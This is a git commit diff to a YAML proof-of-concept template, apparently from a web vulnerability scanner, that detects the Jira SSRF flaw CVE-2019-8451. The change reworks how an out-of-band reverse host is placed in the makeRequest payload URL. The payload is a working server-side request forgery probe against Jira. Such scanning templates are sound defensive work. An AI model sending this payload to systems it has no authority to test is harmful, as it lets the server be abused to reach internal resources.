update

2023-05-05 23:31:28 +08:00 · 2023-05-05 23:31:28 +08:00 · 58890cd5e6
parent 978511a7ef
commit 58890cd5e6
1 changed files with 2 additions and 3 deletions
--- a/WebScan/pocs/jira-ssrf-cve-2019-8451.yml
+++ b/WebScan/pocs/jira-ssrf-cve-2019-8451.yml
@ -3,12 +3,11 @@ set:
  reverse: newReverse()
  originScheme: request.url.scheme
  originHost: request.url.host
-  reverseHost: reverse.url.host
-  reverseURL: reverse.url.path
+  reverseURL: reverse.domain
 rules:
  - method: GET
    path: >-
-      /plugins/servlet/gadgets/makeRequest?url={{originScheme}}://{{originHost}}@{{reverseHost}}{{reverseURL}}
+      /plugins/servlet/gadgets/makeRequest?url={{originScheme}}://{{originHost}}@{{reverseURL}}
    headers:
      X-Atlassian-Token: no-check
    expression: |